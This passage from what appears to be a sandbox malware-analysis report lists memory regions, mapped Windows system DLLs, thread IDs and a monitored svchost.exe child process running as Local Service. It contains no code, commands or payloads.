	          end_va = 0x7ff7b34d9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34d8000"
	        filename = ""

Region:
	              id = 1519
	        start_va = 0x7ff7b34da000
	          end_va = 0x7ff7b34dbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34da000"
	        filename = ""

Region:
	              id = 1520
	        start_va = 0x7ff7b34dc000
	          end_va = 0x7ff7b34ddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34dc000"
	        filename = ""

Region:
	              id = 1521
	        start_va = 0x7ff7b34de000
	          end_va = 0x7ff7b34dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34de000"
	        filename = ""

Region:
	              id = 1522
	        start_va = 0x7ff7b34e0000
	          end_va = 0x7ff7b34e1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34e0000"
	        filename = ""

Region:
	              id = 1523
	        start_va = 0x7ff7b34e2000
	          end_va = 0x7ff7b34e3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34e2000"
	        filename = ""

Region:
	              id = 1524
	        start_va = 0x7ff7b34e4000
	          end_va = 0x7ff7b34e5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34e4000"
	        filename = ""

Region:
	              id = 1525
	        start_va = 0x7ff7b34e6000
	          end_va = 0x7ff7b34e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34e6000"
	        filename = ""

Region:
	              id = 1526
	        start_va = 0x7ff7b34ea000
	          end_va = 0x7ff7b34ebfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34ea000"
	        filename = ""

Region:
	              id = 1527
	        start_va = 0x7ff7b34ec000
	          end_va = 0x7ff7b34edfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34ec000"
	        filename = ""

Region:
	              id = 1528
	        start_va = 0x7ff7b34ee000
	          end_va = 0x7ff7b34effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b34ee000"
	        filename = ""

Region:
	              id = 1529
	        start_va = 0x7ff7b34f0000
	          end_va = 0x7ff7b35effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b34f0000"
	        filename = ""

Region:
	              id = 1530
	        start_va = 0x7ff7b35f0000
	          end_va = 0x7ff7b3612fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b35f0000"
	        filename = ""

Region:
	              id = 1531
	        start_va = 0x7ff7b3613000
	          end_va = 0x7ff7b3614fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3613000"
	        filename = ""

Region:
	              id = 1532
	        start_va = 0x7ff7b3617000
	          end_va = 0x7ff7b3618fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3617000"
	        filename = ""

Region:
	              id = 1533
	        start_va = 0x7ff7b3619000
	          end_va = 0x7ff7b361afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3619000"
	        filename = ""

Region:
	              id = 1534
	        start_va = 0x7ff7b361b000
	          end_va = 0x7ff7b361cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b361b000"
	        filename = ""

Region:
	              id = 1535
	        start_va = 0x7ff7b361d000
	          end_va = 0x7ff7b361dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b361d000"
	        filename = ""

Region:
	              id = 1536
	        start_va = 0x7ff7b361e000
	          end_va = 0x7ff7b361ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b361e000"
	        filename = ""

Region:
	              id = 1537
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1538
	        start_va = 0x7ffbeafb0000
	          end_va = 0x7ffbeb04dfff
	     entry_point = 0x7ffbeafb0000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 1539
	        start_va = 0x7ffbf0090000
	          end_va = 0x7ffbf009ffff
	     entry_point = 0x7ffbf0090000
	     region_type = mapped_file
	            name = "pcadm.dll"
	        filename = "\\Windows\\System32\\pcadm.dll" (normalized: "c:\\windows\\system32\\pcadm.dll")

Region:
	              id = 1540
	        start_va = 0x7ffbf2650000
	          end_va = 0x7ffbf26a7fff
	     entry_point = 0x7ffbf2650000
	     region_type = mapped_file
	            name = "ncbservice.dll"
	        filename = "\\Windows\\System32\\ncbservice.dll" (normalized: "c:\\windows\\system32\\ncbservice.dll")

Region:
	              id = 1541
	        start_va = 0x7ffbf5200000
	          end_va = 0x7ffbf5242fff
	     entry_point = 0x7ffbf5200000
	     region_type = mapped_file
	            name = "execmodelclient.dll"
	        filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll")

Region:
	              id = 1542
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 1543
	        start_va = 0x7ffbf5c30000
	          end_va = 0x7ffbf5c4cfff
	     entry_point = 0x7ffbf5c30000
	     region_type = mapped_file
	            name = "radardt.dll"
	        filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll")

Region:
	              id = 1544
	        start_va = 0x7ffbf69b0000
	          end_va = 0x7ffbf69befff
	     entry_point = 0x7ffbf69b0000
	     region_type = mapped_file
	            name = "pcacli.dll"
	        filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll")

Region:
	              id = 1545
	        start_va = 0x7ffbf7ae0000
	          end_va = 0x7ffbf7aeafff
	     entry_point = 0x7ffbf7ae0000
	     region_type = mapped_file
	            name = "systemeventsbrokerclient.dll"
	        filename = "\\Windows\\System32\\SystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\systemeventsbrokerclient.dll")

Region:
	              id = 1546
	        start_va = 0x7ffbf7b30000
	          end_va = 0x7ffbf7b3dfff
	     entry_point = 0x7ffbf7b30000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 1547
	        start_va = 0x7ffbf9350000
	          end_va = 0x7ffbf9371fff
	     entry_point = 0x7ffbf9350000
	     region_type = mapped_file
	            name = "trkwks.dll"
	        filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll")

Region:
	              id = 1548
	        start_va = 0x7ffbf98a0000
	          end_va = 0x7ffbf99b2fff
	     entry_point = 0x7ffbf98a0000
	     region_type = mapped_file
	            name = "sysmain.dll"
	        filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll")

Region:
	              id = 1549
	        start_va = 0x7ffbf9a20000
	          end_va = 0x7ffbf9a9ffff
	     entry_point = 0x7ffbf9a20000
	     region_type = mapped_file
	            name = "pcasvc.dll"
	        filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll")

Region:
	              id = 1550
	        start_va = 0x7ffbf9f60000
	          end_va = 0x7ffbf9f7cfff
	     entry_point = 0x7ffbf9f60000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 1551
	        start_va = 0x7ffbfa220000
	          end_va = 0x7ffbfa25efff
	     entry_point = 0x7ffbfa220000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 1552
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1553
	        start_va = 0x7ffbfbb30000
	          end_va = 0x7ffbfbb38fff
	     entry_point = 0x7ffbfbb30000
	     region_type = mapped_file
	            name = "httpprxc.dll"
	        filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll")

Region:
	              id = 1554
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1555
	        start_va = 0x7ffbfcb60000
	          end_va = 0x7ffbfcb92fff
	     entry_point = 0x7ffbfcb60000
	     region_type = mapped_file
	            name = "wudfplatform.dll"
	        filename = "\\Windows\\System32\\WUDFPlatform.dll" (normalized: "c:\\windows\\system32\\wudfplatform.dll")

Region:
	              id = 1556
	        start_va = 0x7ffbfcba0000
	          end_va = 0x7ffbfcbbafff
	     entry_point = 0x7ffbfcba0000
	     region_type = mapped_file
	            name = "wudfsvc.dll"
	        filename = "\\Windows\\System32\\WUDFSvc.dll" (normalized: "c:\\windows\\system32\\wudfsvc.dll")

Region:
	              id = 1557
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1558
	        start_va = 0x7ffbfd740000
	          end_va = 0x7ffbfd7b1fff
	     entry_point = 0x7ffbfd740000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 1559
	        start_va = 0x7ffbfd7c0000
	          end_va = 0x7ffbfd809fff
	     entry_point = 0x7ffbfd7c0000
	     region_type = mapped_file
	            name = "audioendpointbuilder.dll"
	        filename = "\\Windows\\System32\\AudioEndpointBuilder.dll" (normalized: "c:\\windows\\system32\\audioendpointbuilder.dll")

Region:
	              id = 1560
	        start_va = 0x7ffbfd9f0000
	          end_va = 0x7ffbfdaaffff
	     entry_point = 0x7ffbfd9f0000
	     region_type = mapped_file
	            name = "taskschd.dll"
	        filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")

Region:
	              id = 1561
	        start_va = 0x7ffbfdbe0000
	          end_va = 0x7ffbfdbebfff
	     entry_point = 0x7ffbfdbe0000
	     region_type = mapped_file
	            name = "bi.dll"
	        filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll")

Region:
	              id = 1562
	        start_va = 0x7ffbfdd90000
	          end_va = 0x7ffbfdda6fff
	     entry_point = 0x7ffbfdd90000
	     region_type = mapped_file
	            name = "portabledeviceconnectapi.dll"
	        filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll")

Region:
	              id = 1563
	        start_va = 0x7ffbfddb0000
	          end_va = 0x7ffbfde50fff
	     entry_point = 0x7ffbfddb0000
	     region_type = mapped_file
	            name = "portabledeviceapi.dll"
	        filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll")

Region:
	              id = 1564
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1565
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1566
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1567
	        start_va = 0x7ffbfeb20000
	          end_va = 0x7ffbfeb5efff
	     entry_point = 0x7ffbfeb20000
	     region_type = mapped_file
	            name = "brokerlib.dll"
	        filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll")

Region:
	              id = 1568
	        start_va = 0x7ffbfec30000
	          end_va = 0x7ffbfecf7fff
	     entry_point = 0x7ffbfec30000
	     region_type = mapped_file
	            name = "coremessaging.dll"
	        filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll")

Region:
	              id = 1569
	        start_va = 0x7ffbff0d0000
	          end_va = 0x7ffbff147fff
	     entry_point = 0x7ffbff0d0000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 1570
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1571
	        start_va = 0x7ffbffad0000
	          end_va = 0x7ffbffaebfff
	     entry_point = 0x7ffbffad0000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")

Region:
	              id = 1572
	        start_va = 0x7ffbffbe0000
	          end_va = 0x7ffbffc11fff
	     entry_point = 0x7ffbffbe0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1573
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1574
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1575
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1576
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1577
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1578
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1579
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1580
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1581
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1582
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1583
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1584
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1585
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1586
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1587
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 1588
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1589
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1590
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1591
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1592
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1593
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1594
	        start_va = 0x7ffc01b20000
	          end_va = 0x7ffc01ce4fff
	     entry_point = 0x7ffc01b20000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1595
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1596
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1597
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1598
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1599
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1600
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1601
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1602
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1603
	        start_va = 0x7ffc03b40000
	          end_va = 0x7ffc03baefff
	     entry_point = 0x7ffc03b40000
	     region_type = mapped_file
	            name = "coml2.dll"
	        filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll")

Region:
	              id = 1604
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1605
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1606
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1607
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 280
	os_tid = 0xf74


Thread:
	id = 281
	os_tid = 0xae4


Thread:
	id = 282
	os_tid = 0xb60


Thread:
	id = 283
	os_tid = 0x940


Thread:
	id = 284
	os_tid = 0x924


Thread:
	id = 285
	os_tid = 0x920


Thread:
	id = 286
	os_tid = 0x7a0


Thread:
	id = 287
	os_tid = 0x5f4


Thread:
	id = 288
	os_tid = 0x5f0


Thread:
	id = 289
	os_tid = 0x5e0


Thread:
	id = 290
	os_tid = 0x418


Thread:
	id = 291
	os_tid = 0x190


Thread:
	id = 292
	os_tid = 0x164


Thread:
	id = 293
	os_tid = 0x3c4


Thread:
	id = 294
	os_tid = 0x3bc


Thread:
	id = 295
	os_tid = 0x34c


Thread:
	id = 470
	os_tid = 0xf94


Thread:
	id = 479
	os_tid = 0x74c


Process:
	id = "13"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x28ee9000"
	os_pid = "0x360"
	os_integrity_level = "0x4000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BthHFSrv" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TimeBroker" [0xe], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000df86" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 3569
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3570
	        start_va = 0xfb6020000
	          end_va = 0xfb602ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb6020000"
	        filename = ""

Region:
	              id = 3571
	        start_va = 0xfb6030000
	          end_va = 0xfb6030fff
	     entry_point = 0xfb6030000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 3572
	        start_va = 0xfb6040000
	          end_va = 0xfb6053fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb6040000"
	        filename = ""

Region:
	              id = 3573
	        start_va = 0xfb6060000
	          end_va = 0xfb60dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6060000"
	        filename = ""

Region:
	              id = 3574
	        start_va = 0xfb60e0000
	          end_va = 0xfb60e3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb60e0000"
	        filename = ""

Region:
	              id = 3575
	        start_va = 0xfb60f0000
	          end_va = 0xfb60f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb60f0000"
	        filename = ""

Region:
	              id = 3576
	        start_va = 0xfb6100000
	          end_va = 0xfb6101fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6100000"
	        filename = ""

Region:
	              id = 3577
	        start_va = 0xfb6190000
	          end_va = 0xfb6196fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6190000"
	        filename = ""

Region:
	              id = 3578
	        start_va = 0xfb61a0000
	          end_va = 0xfb61a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb61a0000"
	        filename = ""

Region:
	              id = 3579
	        start_va = 0xfb61b0000
	          end_va = 0xfb61b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb61b0000"
	        filename = ""

Region:
	              id = 3580
	        start_va = 0xfb61c0000
	          end_va = 0xfb61c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb61c0000"
	        filename = ""

Region:
	              id = 3581
	        start_va = 0xfb61d0000
	          end_va = 0xfb61d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb61d0000"
	        filename = ""

Region:
	              id = 3582
	        start_va = 0xfb6200000
	          end_va = 0xfb62fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6200000"
	        filename = ""

Region:
	              id = 3583
	        start_va = 0xfb6300000
	          end_va = 0xfb63bdfff
	     entry_point = 0xfb6300000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3584
